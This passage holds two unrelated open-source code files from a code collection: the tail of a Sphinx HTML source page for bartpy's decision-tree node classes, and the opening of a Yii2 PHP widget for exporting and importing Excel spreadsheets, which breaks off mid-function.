class="k">return</span> <span class="kc">False</span> <span class="k">def</span> <span class="nf">is_decision_node</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span> <span class="k">return</span> <span class="kc">False</span> <span class="nd">@property</span> <span class="k">def</span> <span class="nf">split</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_split</span> <span class="k">def</span> <span class="nf">update_y</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span> <span class="bp">self</span><span class="o">.</span><span class="n">split</span><span class="o">.</span><span class="n">update_y</span><span class="p">(</span><span class="n">y</span><span class="p">)</span> <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">left_child</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">left_child</span><span class="o">.</span><span class="n">update_y</span><span class="p">(</span><span class="n">y</span><span class="p">)</span> <span class="bp">self</span><span class="o">.</span><span class="n">right_child</span><span class="o">.</span><span class="n">update_y</span><span class="p">(</span><span class="n">y</span><span class="p">)</span></div> <div class="viewcode-block" id="LeafNode"><a class="viewcode-back" href="../../node.html#bartpy.node.LeafNode">[docs]</a><span class="k">class</span> <span class="nc">LeafNode</span><span class="p">(</span><span class="n">TreeNode</span><span class="p">):</span> <span class="sd">&quot;&quot;&quot;</span> <span class="sd"> A representation of a leaf node in the tree</span> <span class="sd"> In addition to the normal work of a `Node`, a `LeafNode` is responsible for:</span> <span class="sd"> - Interacting with `Data`</span> <span class="sd"> - Making predictions</span> <span class="sd"> &quot;&quot;&quot;</span> <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">split</span><span class="p">:</span> <span class="n">Split</span><span class="p">,</span> <span class="n">depth</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span> <span class="bp">self</span><span class="o">.</span><span class="n">_value</span> <span class="o">=</span> <span class="mf">0.0</span> <span class="bp">self</span><span class="o">.</span><span class="n">_residuals</span> <span class="o">=</span> <span class="mf">0.0</span> <span class="bp">self</span><span class="o">.</span><span class="n">_splittable_variables</span> <span class="o">=</span> <span class="kc">None</span> <span class="nb">super</span><span class="p">()</span><span class="o">.</span><span class="fm">__init__</span><span class="p">(</span><span class="n">split</span><span class="p">,</span> <span class="n">depth</span><span class="p">,</span> <span class="kc">None</span><span class="p">,</span> <span class="kc">None</span><span class="p">)</span> <span class="nd">@property</span> <span class="k">def</span> <span class="nf">splittable_variables</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">_splittable_variables</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_splittable_variables</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">split</span><span class="o">.</span><span class="n">data</span><span class="o">.</span><span class="n">splittable_variables</span><span class="p">()</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_splittable_variables</span> <span class="k">def</span> <span class="nf">set_value</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">:</span> <span class="nb">float</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kc">None</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_value</span> <span class="o">=</span> <span class="n">value</span> <span class="k">def</span> <span class="nf">residuals</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">np</span><span class="o">.</span><span class="n">ndarray</span><span class="p">:</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">data</span><span class="o">.</span><span class="n">y</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">predict</span><span class="p">()</span> <span class="nd">@property</span> <span class="k">def</span> <span class="nf">current_value</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_value</span> <span class="k">def</span> <span class="nf">predict</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">float</span><span class="p">:</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">current_value</span> <span class="k">def</span> <span class="nf">is_splittable</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span> <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">splittable_variables</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="k">def</span> <span class="nf">is_leaf_node</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="k">return</span> <span class="kc">True</span></div> <div class="viewcode-block" id="DecisionNode"><a class="viewcode-back" href="../../node.html#bartpy.node.DecisionNode">[docs]</a><span class="k">class</span> <span class="nc">DecisionNode</span><span class="p">(</span><span class="n">TreeNode</span><span class="p">):</span> <span class="sd">&quot;&quot;&quot;</span> <span class="sd"> A `DecisionNode` encapsulates internal node in the tree</span> <span class="sd"> Unlike a `LeafNode`, it contains very little actual logic beyond tying the tree together</span> <span class="sd"> &quot;&quot;&quot;</span> <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">split</span><span class="p">:</span> <span class="n">Split</span><span class="p">,</span> <span class="n">left_child_node</span><span class="p">:</span> <span class="n">Union</span><span class="p">[</span><span class="n">LeafNode</span><span class="p">,</span> <span class="s1">&#39;DecisionNode&#39;</span><span class="p">],</span> <span class="n">right_child_node</span><span class="p">:</span> <span class="n">Union</span><span class="p">[</span><span class="n">LeafNode</span><span class="p">,</span> <span class="s1">&#39;DecisionNode&#39;</span><span class="p">],</span> <span class="n">depth</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span> <span class="nb">super</span><span class="p">()</span><span class="o">.</span><span class="fm">__init__</span><span class="p">(</span><span class="n">split</span><span class="p">,</span> <span class="n">depth</span><span class="p">,</span> <span class="n">left_child_node</span><span class="p">,</span> <span class="n">right_child_node</span><span class="p">)</span> <span class="k">def</span> <span class="nf">is_prunable</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">left_child</span><span class="o">.</span><span class="n">is_leaf_node</span><span class="p">()</span> <span class="ow">and</span> <span class="bp">self</span><span class="o">.</span><span class="n">right_child</span><span class="o">.</span><span class="n">is_leaf_node</span><span class="p">()</span> <span class="k">def</span> <span class="nf">is_decision_node</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span> <span class="k">return</span> <span class="kc">True</span> <span class="k">def</span> <span class="nf">variable_split_on</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">SplitCondition</span><span class="p">:</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">left_child</span><span class="o">.</span><span class="n">split</span><span class="o">.</span><span class="n">most_recent_split_condition</span><span class="p">()</span></div> <div class="viewcode-block" id="split_node"><a class="viewcode-back" href="../../node.html#bartpy.node.split_node">[docs]</a><span class="k">def</span> <span class="nf">split_node</span><span class="p">(</span><span class="n">node</span><span class="p">:</span> <span class="n">LeafNode</span><span class="p">,</span> <span class="n">split_condition</span><span class="p">:</span> <span class="n">SplitCondition</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">DecisionNode</span><span class="p">:</span> <span class="sd">&quot;&quot;&quot;</span> <span class="sd"> Converts a `LeafNode` into an internal `DecisionNode` by applying the split condition</span> <span class="sd"> The left node contains all values for the splitting variable less than the splitting value</span> <span class="sd"> &quot;&quot;&quot;</span> <span class="n">left_split</span><span class="p">,</span> <span class="n">right_split</span> <span class="o">=</span> <span class="n">node</span><span class="o">.</span><span class="n">split</span> <span class="o">+</span> <span class="n">split_condition</span> <span class="k">return</span> <span class="n">DecisionNode</span><span class="p">(</span><span class="n">node</span><span class="o">.</span><span class="n">split</span><span class="p">,</span> <span class="n">LeafNode</span><span class="p">(</span><span class="n">left_split</span><span class="p">,</span> <span class="n">depth</span><span class="o">=</span><span class="n">node</span><span class="o">.</span><span class="n">depth</span> <span class="o">+</span> <span class="mi">1</span><span class="p">),</span> <span class="n">LeafNode</span><span class="p">(</span><span class="n">right_split</span><span class="p">,</span> <span class="n">depth</span><span class="o">=</span><span class="n">node</span><span class="o">.</span><span class="n">depth</span> <span class="o">+</span> <span class="mi">1</span><span class="p">),</span> <span class="n">depth</span><span class="o">=</span><span class="n">node</span><span class="o">.</span><span class="n">depth</span><span class="p">)</span></div> </pre></div> </div> </div> <footer> <hr/> <div role="contentinfo"> <p> &copy; Copyright 2018, Jake Coltman. </p> </div> Built with <a href="http://sphinx-doc.org/">Sphinx</a> using a <a href="https://github.com/rtfd/sphinx_rtd_theme">theme</a> provided by <a href="https://readthedocs.org">Read the Docs</a>. </footer> </div> </div> </section> </div> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT:'../../', VERSION:'0.0.1', LANGUAGE:'None', COLLAPSE_INDEX:false, FILE_SUFFIX:'.html', HAS_SOURCE: true, SOURCELINK_SUFFIX: '.txt' }; </script> <script type="text/javascript" src="../../_static/jquery.js"></script> <script type="text/javascript" src="../../_static/underscore.js"></script> <script type="text/javascript" src="../../_static/doctools.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script> <script type="text/javascript" src="../../_static/js/theme.js"></script> <script type="text/javascript"> jQuery(function () { SphinxRtdTheme.Navigation.enable(true); }); </script> </body> </html>
JakeColtman/bartpy
docs/_modules/bartpy/node.html
HTML
mit
21,467
<?php namespace moonland\phpexcel; use yii\helpers\ArrayHelper; use yii\base\InvalidConfigException; use yii\base\InvalidParamException; use yii\i18n\Formatter; use PhpOffice\PhpSpreadsheet\Spreadsheet; /** * Excel Widget for generate Excel File or for load Excel File. * * Usage * ----- * * Exporting data into an excel file. * * ~~~ * * // export data only one worksheet. * * \moonland\phpexcel\Excel::widget([ * 'models' => $allModels, * 'mode' => 'export', //default value as 'export' * 'columns' => ['column1','column2','column3'], * //without header working, because the header will be get label from attribute label. * 'headers' => ['column1' => 'Header Column 1','column2' => 'Header Column 2', 'column3' => 'Header Column 3'], * ]); * * \moonland\phpexcel\Excel::export([ * 'models' => $allModels, * 'columns' => ['column1','column2','column3'], * //without header working, because the header will be get label from attribute label. * 'headers' => ['column1' => 'Header Column 1','column2' => 'Header Column 2', 'column3' => 'Header Column 3'], * ]); * * // export data with multiple worksheet. * * \moonland\phpexcel\Excel::widget([ * 'isMultipleSheet' => true, * 'models' => [ * 'sheet1' => $allModels1, * 'sheet2' => $allModels2, * 'sheet3' => $allModels3 * ], * 'mode' => 'export', //default value as 'export' * 'columns' => [ * 'sheet1' => ['column1','column2','column3'], * 'sheet2' => ['column1','column2','column3'], * 'sheet3' => ['column1','column2','column3'] * ], * //without header working, because the header will be get label from attribute label. * 'headers' => [ * 'sheet1' => ['column1' => 'Header Column 1','column2' => 'Header Column 2', 'column3' => 'Header Column 3'], * 'sheet2' => ['column1' => 'Header Column 1','column2' => 'Header Column 2', 'column3' => 'Header Column 3'], * 'sheet3' => ['column1' => 'Header Column 1','column2' => 'Header Column 2', 'column3' => 'Header Column 3'] * ], * ]); * * \moonland\phpexcel\Excel::export([ * 'isMultipleSheet' => true, * 'models' => [ * 'sheet1' => $allModels1, * 'sheet2' => $allModels2, * 'sheet3' => $allModels3 * ], * 'columns' => [ * 'sheet1' => ['column1','column2','column3'], * 'sheet2' => ['column1','column2','column3'], * 'sheet3' => ['column1','column2','column3'] * ], * //without header working, because the header will be get label from attribute label. * 'headers' => [ * 'sheet1' => ['column1' => 'Header Column 1','column2' => 'Header Column 2', 'column3' => 'Header Column 3'], * 'sheet2' => ['column1' => 'Header Column 1','column2' => 'Header Column 2', 'column3' => 'Header Column 3'], * 'sheet3' => ['column1' => 'Header Column 1','column2' => 'Header Column 2', 'column3' => 'Header Column 3'] * ], * ]); * * ~~~ * * New Feature for exporting data, you can use this if you familiar yii gridview. * That is same with gridview data column. * Columns in array mode valid params are 'attribute', 'header', 'format', 'value', and footer (TODO). * Columns in string mode valid layout are 'attribute:format:header:footer(TODO)'. * * ~~~ * * \moonland\phpexcel\Excel::export([ * 'models' => Post::find()->all(), * 'columns' => [ * 'author.name:text:Author Name', * [ * 'attribute' => 'content', * 'header' => 'Content Post', * 'format' => 'text', * 'value' => function($model) { * return ExampleClass::removeText('example', $model->content); * }, * ], * 'like_it:text:Reader like this content', * 'created_at:datetime', * [ * 'attribute' => 'updated_at', * 'format' => 'date', * ], * ], * 'headers' => [ * 'created_at' => 'Date Created Content', * ], * ]); * * ~~~ * * * Import file excel and return into an array. * * ~~~ * * $data = \moonland\phpexcel\Excel::import($fileName, $config); // $config is an optional * * $data = \moonland\phpexcel\Excel::widget([ * 'mode' => 'import', * 'fileName' => $fileName, * 'setFirstRecordAsKeys' => true, // if you want to set the keys of record column with first record, if it not set, the header with use the alphabet column on excel. * 'setIndexSheetByName' => true, // set this if your excel data with multiple worksheet, the index of array will be set with the sheet name. If this not set, the index will use numeric. * 'getOnlySheet' => 'sheet1', // you can set this property if you want to get the specified sheet from the excel data with multiple worksheet. * ]); * * $data = \moonland\phpexcel\Excel::import($fileName, [ * 'setFirstRecordAsKeys' => true, // if you want to set the keys of record column with first record, if it not set, the header with use the alphabet column on excel. * 'setIndexSheetByName' => true, // set this if your excel data with multiple worksheet, the index of array will be set with the sheet name. If this not set, the index will use numeric. * 'getOnlySheet' => 'sheet1', // you can set this property if you want to get the specified sheet from the excel data with multiple worksheet. * ]); * * // import data with multiple file. * * $data = \moonland\phpexcel\Excel::widget([ * 'mode' => 'import', * 'fileName' => [ * 'file1' => $fileName1, * 'file2' => $fileName2, * 'file3' => $fileName3, * ], * 'setFirstRecordAsKeys' => true, // if you want to set the keys of record column with first record, if it not set, the header with use the alphabet column on excel. * 'setIndexSheetByName' => true, // set this if your excel data with multiple worksheet, the index of array will be set with the sheet name. If this not set, the index will use numeric. * 'getOnlySheet' => 'sheet1', // you can set this property if you want to get the specified sheet from the excel data with multiple worksheet. * ]); * * $data = \moonland\phpexcel\Excel::import([ * 'file1' => $fileName1, * 'file2' => $fileName2, * 'file3' => $fileName3, * ], [ * 'setFirstRecordAsKeys' => true, // if you want to set the keys of record column with first record, if it not set, the header with use the alphabet column on excel. * 'setIndexSheetByName' => true, // set this if your excel data with multiple worksheet, the index of array will be set with the sheet name. If this not set, the index will use numeric. * 'getOnlySheet' => 'sheet1', // you can set this property if you want to get the specified sheet from the excel data with multiple worksheet. * ]); * * ~~~ * * Result example from the code on the top : * * ~~~ * * // only one sheet or specified sheet. * * Array([0] => Array([name] => Anam, [email] => [email protected], [framework interest] => Yii2), * [1] => Array([name] => Example, [email] => [email protected], [framework interest] => Yii2)); * * // data with multiple worksheet * * Array([Sheet1] => Array([0] => Array([name] => Anam, [email] => [email protected], [framework interest] => Yii2), * [1] => Array([name] => Example, [email] => [email protected], [framework interest] => Yii2)), * [Sheet2] => Array([0] => Array([name] => Anam, [email] => [email protected], [framework interest] => Yii2), * [1] => Array([name] => Example, [email] => [email protected], [framework interest] => Yii2))); * * // data with multiple file and specified sheet or only one worksheet * * Array([file1] => Array([0] => Array([name] => Anam, [email] => [email protected], [framework interest] => Yii2), * [1] => Array([name] => Example, [email] => [email protected], [framework interest] => Yii2)), * [file2] => Array([0] => Array([name] => Anam, [email] => [email protected], [framework interest] => Yii2), * [1] => Array([name] => Example, [email] => [email protected], [framework interest] => Yii2))); * * // data with multiple file and multiple worksheet * * Array([file1] => Array([Sheet1] => Array([0] => Array([name] => Anam, [email] => [email protected], [framework interest] => Yii2), * [1] => Array([name] => Example, [email] => [email protected], [framework interest] => Yii2)), * [Sheet2] => Array([0] => Array([name] => Anam, [email] => [email protected], [framework interest] => Yii2), * [1] => Array([name] => Example, [email] => [email protected], [framework interest] => Yii2))), * [file2] => Array([Sheet1] => Array([0] => Array([name] => Anam, [email] => [email protected], [framework interest] => Yii2), * [1] => Array([name] => Example, [email] => [email protected], [framework interest] => Yii2)), * [Sheet2] => Array([0] => Array([name] => Anam, [email] => [email protected], [framework interest] => Yii2), * [1] => Array([name] => Example, [email] => [email protected], [framework interest] => Yii2)))); * * ~~~ * * @property string $mode is an export mode or import mode. valid value are 'export' and 'import' * @property boolean $isMultipleSheet for set the export excel with multiple sheet. * @property array $properties for set property on the excel object. * @property array $models Model object or DataProvider object with much data. * @property array $columns to get the attributes from the model, this valid value only the exist attribute on the model. * If this is not set, then all attribute of the model will be set as columns. * @property array $headers to set the header column on first line. Set this if want to custom header. * If not set, the header will get attributes label of model attributes. * @property string|array $fileName is a name for file name to export or import. Multiple file name only use for import mode, not work if you use the export mode. * @property string $savePath is a directory to save the file or you can blank this to set the file as attachment. * @property string $format for excel to export. Valid value are 'Xls','Xlsx','Xml','Ods','Slk','Gnumeric','Csv', and 'Html'. * @property boolean $setFirstTitle to set the title column on the first line. The columns will have a header on the first line. * @property boolean $asAttachment to set the file excel to download mode. * @property boolean $setFirstRecordAsKeys to set the first record on excel file to a keys of array per line. * If you want to set the keys of record column with first record, if it not set, the header with use the alphabet column on excel. * @property boolean $setIndexSheetByName to set the sheet index by sheet name or array result if the sheet not only one * @property string $getOnlySheet is a sheet name to getting the data. This is only get the sheet with same name. * @property array|Formatter $formatter the formatter used to format model attribute values into displayable texts. * This can be either an instance of [[Formatter]] or an configuration array for creating the [[Formatter]] * instance. If this property is not set, the "formatter" application component will be used. * * @author Moh Khoirul Anam <[email protected]> * @copyright 2014 * @since 1 */ class Excel extends \yii\base\Widget { // Border style const BORDER_NONE = 'none'; const BORDER_DASHDOT = 'dashDot'; const BORDER_DASHDOTDOT = 'dashDotDot'; const BORDER_DASHED = 'dashed'; const BORDER_DOTTED = 'dotted'; const BORDER_DOUBLE = 'double'; const BORDER_HAIR = 'hair'; const BORDER_MEDIUM = 'medium'; const BORDER_MEDIUMDASHDOT = 'mediumDashDot'; const BORDER_MEDIUMDASHDOTDOT = 'mediumDashDotDot'; const BORDER_MEDIUMDASHED = 'mediumDashed'; const BORDER_SLANTDASHDOT = 'slantDashDot'; const BORDER_THICK = 'thick'; const BORDER_THIN = 'thin'; // Colors const COLOR_BLACK = 'FF000000'; const COLOR_WHITE = 'FFFFFFFF'; const COLOR_RED = 'FFFF0000'; const COLOR_DARKRED = 'FF800000'; const COLOR_BLUE = 'FF0000FF'; const COLOR_DARKBLUE = 'FF000080'; const COLOR_GREEN = 'FF00FF00'; const COLOR_DARKGREEN = 'FF008000'; const COLOR_YELLOW = 'FFFFFF00'; const COLOR_DARKYELLOW = 'FF808000'; // Horizontal alignment styles const HORIZONTAL_GENERAL = 'general'; const HORIZONTAL_LEFT = 'left'; const HORIZONTAL_RIGHT = 'right'; const HORIZONTAL_CENTER = 'center'; const HORIZONTAL_CENTER_CONTINUOUS = 'centerContinuous'; const HORIZONTAL_JUSTIFY = 'justify'; const HORIZONTAL_FILL = 'fill'; const HORIZONTAL_DISTRIBUTED = 'distributed'; // Excel2007 only // Vertical alignment styles const VERTICAL_BOTTOM = 'bottom'; const VERTICAL_TOP = 'top'; const VERTICAL_CENTER = 'center'; const VERTICAL_JUSTIFY = 'justify'; const VERTICAL_DISTRIBUTED = 'distributed'; // Excel2007 only // Read order const READORDER_CONTEXT = 0; const READORDER_LTR = 1; const READORDER_RTL = 2; // Fill types const FILL_NONE = 'none'; const FILL_SOLID = 'solid'; const FILL_GRADIENT_LINEAR = 'linear'; const FILL_GRADIENT_PATH = 'path'; const FILL_PATTERN_DARKDOWN = 'darkDown'; const FILL_PATTERN_DARKGRAY = 'darkGray'; const FILL_PATTERN_DARKGRID = 'darkGrid'; const FILL_PATTERN_DARKHORIZONTAL = 'darkHorizontal'; const FILL_PATTERN_DARKTRELLIS = 'darkTrellis'; const FILL_PATTERN_DARKUP = 'darkUp'; const FILL_PATTERN_DARKVERTICAL = 'darkVertical'; const FILL_PATTERN_GRAY0625 = 'gray0625'; const FILL_PATTERN_GRAY125 = 'gray125'; const FILL_PATTERN_LIGHTDOWN = 'lightDown'; const FILL_PATTERN_LIGHTGRAY = 'lightGray'; const FILL_PATTERN_LIGHTGRID = 'lightGrid'; const FILL_PATTERN_LIGHTHORIZONTAL = 'lightHorizontal'; const FILL_PATTERN_LIGHTTRELLIS = 'lightTrellis'; const FILL_PATTERN_LIGHTUP = 'lightUp'; const FILL_PATTERN_LIGHTVERTICAL = 'lightVertical'; const FILL_PATTERN_MEDIUMGRAY = 'mediumGray'; // Pre-defined formats const FORMAT_GENERAL = 'General'; const FORMAT_TEXT = '@'; const FORMAT_NUMBER = '0'; const FORMAT_NUMBER_00 = '0.00'; const FORMAT_NUMBER_COMMA_SEPARATED1 = '#,##0.00'; const FORMAT_NUMBER_COMMA_SEPARATED2 = '#,##0.00_-'; const FORMAT_PERCENTAGE = '0%'; const FORMAT_PERCENTAGE_00 = '0.00%'; const FORMAT_DATE_YYYYMMDD2 = 'yyyy-mm-dd'; const FORMAT_DATE_YYYYMMDD = 'yy-mm-dd'; const FORMAT_DATE_DDMMYYYY = 'dd/mm/yy'; const FORMAT_DATE_DMYSLASH = 'd/m/yy'; const FORMAT_DATE_DMYMINUS = 'd-m-yy'; const FORMAT_DATE_DMMINUS = 'd-m'; const FORMAT_DATE_MYMINUS = 'm-yy'; const FORMAT_DATE_XLSX14 = 'mm-dd-yy'; const FORMAT_DATE_XLSX15 = 'd-mmm-yy'; const FORMAT_DATE_XLSX16 = 'd-mmm'; const FORMAT_DATE_XLSX17 = 'mmm-yy'; const FORMAT_DATE_XLSX22 = 'm/d/yy h:mm'; const FORMAT_DATE_DATETIME = 'd/m/yy h:mm'; const FORMAT_DATE_TIME1 = 'h:mm AM/PM'; const FORMAT_DATE_TIME2 = 'h:mm:ss AM/PM'; const FORMAT_DATE_TIME3 = 'h:mm'; const FORMAT_DATE_TIME4 = 'h:mm:ss'; const FORMAT_DATE_TIME5 = 'mm:ss'; const FORMAT_DATE_TIME6 = 'h:mm:ss'; const FORMAT_DATE_TIME7 = 'i:s.S'; const FORMAT_DATE_TIME8 = 'h:mm:ss;@'; const FORMAT_DATE_YYYYMMDDSLASH = 'yy/mm/dd;@'; const FORMAT_CURRENCY_USD_SIMPLE = '"$"#,##0.00_-'; const FORMAT_CURRENCY_USD = '$#,##0_-'; const FORMAT_CURRENCY_EUR_SIMPLE = '#,##0.00_-"€"'; const FORMAT_CURRENCY_EUR = '#,##0_-"€"'; /** * @var string mode is an export mode or import mode. valid value are 'export' and 'import'. */ public $mode = 'export'; /** * @var boolean for set the export excel with multiple sheet. */ public $isMultipleSheet = false; /** * @var array properties for set property on the excel object. */ public $properties; /** * @var Model object or DataProvider object with much data. */ public $models; /** * @var array columns to get the attributes from the model, this valid value only the exist attribute on the model. * If this is not set, then all attribute of the model will be set as columns. */ public $columns = []; /** * @var array header to set the header column on first line. Set this if want to custom header. * If not set, the header will get attributes label of model attributes. */ public $headers = []; /** * @var string|array name for file name to export or save. */ public $fileName; /** * @var string save path is a directory to save the file or you can blank this to set the file as attachment. */ public $savePath; /** * @var string format for excel to export. Valid value are 'Xls','Xlsx','Xml','Ods','Slk','Gnumeric','Csv', and 'Html'. */ public $format; /** * @var boolean to set the title column on the first line. */ public $setFirstTitle = true; /** * @var boolean to set the file excel to download mode. */ public $asAttachment = false; /** * @var boolean to set the first record on excel file to a keys of array per line. * If you want to set the keys of record column with first record, if it not set, the header with use the alphabet column on excel. */ public $setFirstRecordAsKeys = true; /** * @var boolean to set the sheet index by sheet name or array result if the sheet not only one. */ public $setIndexSheetByName = false; /** * @var string sheetname to getting. This is only get the sheet with same name. */ public $getOnlySheet; /** * @var boolean to set the import data will return as array. */ public $asArray; /** * @var array to unread record by index number. */ public $leaveRecordByIndex = []; /** * @var array to read record by index, other will leave. */ public $getOnlyRecordByIndex = []; /** * @var array|Formatter the formatter used to format model attribute values into displayable texts. * This can be either an instance of [[Formatter]] or an configuration array for creating the [[Formatter]] * instance. If this property is not set, the "formatter" application component will be used. */ public $formatter; /** * @var boolean define the column autosize */ public $autoSize = false; /** * @var boolean if true, this writer pre-calculates all formulas in the spreadsheet. This can be slow on large spreadsheets, and maybe even unwanted. */ public $preCalculationFormula = false; /** * @var boolean Because of a bug in the Office2003 compatibility pack, there can be some small issues when opening Xlsx spreadsheets (mostly related to formula calculation) */ public $compatibilityOffice2003 = false; /** * @var custom CSV delimiter for import. Works only with CSV files */ public $CSVDelimiter = ";"; /** * @var custom CSV encoding for import. Works only with CSV files */ public $CSVEncoding = "UTF-8"; /** * (non-PHPdoc) * @see \yii\base\Object::init() */ public function init() { parent::init(); if ($this->formatter == null) { $this->formatter = \Yii::$app->getFormatter(); } elseif (is_array($this->formatter)) { $this->formatter = \Yii::createObject($this->formatter); } if (!$this->formatter instanceof Formatter) { throw new InvalidConfigException('The "formatter" property must be either a Format object or a configuration array.'); } } /** * Setting data from models */ public function executeColumns(&$activeSheet = null, $models, $columns = [], $headers = []) { if ($activeSheet == null) { $activeSheet = $this->activeSheet; } $hasHeader = false; $row = 1; $char = 26; foreach ($models as $model) { if (empty($columns)) { $columns = $model->attributes(); } if ($this->setFirstTitle && !$hasHeader) { $isPlus = false; $colplus = 0; $colnum = 1; foreach ($columns as $key=>$column) { $col = ''; if ($colnum > $char) { $colplus += 1; $colnum = 1; $isPlus = true; } if ($isPlus) { $col .= chr(64+$colplus); } $col .= chr(64+$colnum); $header = ''; if (is_array($column)) { if (isset($column['header'])) { $header = $column['header']; } elseif (isset($column['attribute']) && isset($headers[$column['attribute']])) { $header = $headers[$column['attribute']]; } elseif (isset($column['attribute'])) { $header = $model->getAttributeLabel($column['attribute']); } elseif (isset($column['cellFormat']) && is_array($column['cellFormat'])) { $activeSheet->getStyle($col.$row)->applyFromArray($column['cellFormat']); } } else { if(isset($headers[$column])) { $header = $headers[$column]; } else { $header = $model->getAttributeLabel($column); } } if (isset($column['width'])) { $activeSheet->getColumnDimension(strtoupper($col))->setWidth($column['width']); } $activeSheet->setCellValue($col.$row,$header); $colnum++; } $hasHeader=true; $row++; } $isPlus = false; $colplus = 0; $colnum = 1; foreach ($columns as $key=>$column) { $col = ''; if ($colnum > $char) { $colplus++; $colnum = 1; $isPlus = true; } if ($isPlus) { $col .= chr(64+$colplus); } $col .= chr(64+$colnum); if (is_array($column)) { $column_value = $this->executeGetColumnData($model, $column); if (isset($column['cellFormat']) && is_array($column['cellFormat'])) { $activeSheet->getStyle($col.$row)->applyFromArray($column['cellFormat']); } } else { $column_value = $this->executeGetColumnData($model, ['attribute' => $column]); } $activeSheet->setCellValue($col.$row,$column_value); $colnum++; } $row++; if($this->autoSize){ foreach (range(0, $colnum) as $col) { $activeSheet->getColumnDimensionByColumn($col)->setAutoSize(true); } } } } /** * Setting label or keys on every record if setFirstRecordAsKeys is true. * @param array $sheetData * @return multitype:multitype:array */ public function executeArrayLabel($sheetData) { $keys = ArrayHelper::remove($sheetData, '1'); $new_data = []; foreach ($sheetData as $values) { $new_data[] = array_combine($keys, $values); } return $new_data; } /** * Leave record with same index number. * @param array $sheetData * @param array $index * @return array */ public function executeLeaveRecords($sheetData = [], $index = []) { foreach ($sheetData as $key => $data) { if (in_array($key, $index)) { unset($sheetData[$key]); } } return $sheetData; } /** * Read record with same index number. * @param array $sheetData * @param array $index * @return array */ public function executeGetOnlyRecords($sheetData = [], $index = []) { foreach ($sheetData as $key => $data) { if (!in_array($key, $index)) { unset($sheetData[$key]); } } return $sheetData; } /** * Getting column value. * @param Model $model * @param array $params * @return Ambigous <NULL, string, mixed> */ public function executeGetColumnData($model, $params = []) { $value = null; if (isset($params['value']) && $params['value'] !== null) { if (is_string($params['value'])) { $value = ArrayHelper::getValue($model, $params['value']); } else { $value = call_user_func($params['value'], $model, $this); } } elseif (isset($params['attribute']) && $params['attribute'] !== null) { $value = ArrayHelper::getValue($model, $params['attribute']); } if (isset($params['format']) && $params['format'] != null) $value = $this->formatter()->format($value, $params['format']); return $value; } /** * Populating columns for checking the column is string or array. if is string this will be checking have a formatter or header. * @param array $columns * @throws InvalidParamException * @return multitype:multitype:array */ public function populateColumns($columns = []) { $_columns = []; foreach ($columns as $key => $value) { if (is_string($value)) { $value_log = explode(':', $value); $_columns[$key] = ['attribute' => $value_log[0]]; if (isset($value_log[1]) && $value_log[1] !== null) { $_columns[$key]['format'] = $value_log[1]; } if (isset($value_log[2]) && $value_log[2] !== null) { $_columns[$key]['header'] = $value_log[2]; } } elseif (is_array($value)) { if (!isset($value['attribute']) && !isset($value['value'])) { throw new \InvalidArgumentException('Attribute or Value must be defined.'); } $_columns[$key] = $value; } } return $_columns; } /** * Formatter for i18n. * @return Formatter */ public function formatter() { if (!isset($this->formatter)) $this->formatter = \Yii::$app->getFormatter(); return $this->formatter; } /** * Setting header to download generated file xls */ public function setHeaders() { header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); header('Content-Disposition: attachment;filename="' . $this->getFileName() .'"'); header('Cache-Control: max-age=0'); } /** * Getting the file name of exporting xls file * @return string */ public function getFileName() { $fileName = 'exports.xlsx'; if (isset($this->fileName)) { $fileName = $this->fileName; if (strpos($fileName, '.xlsx') === false) $fileName .= '.xlsx'; } return 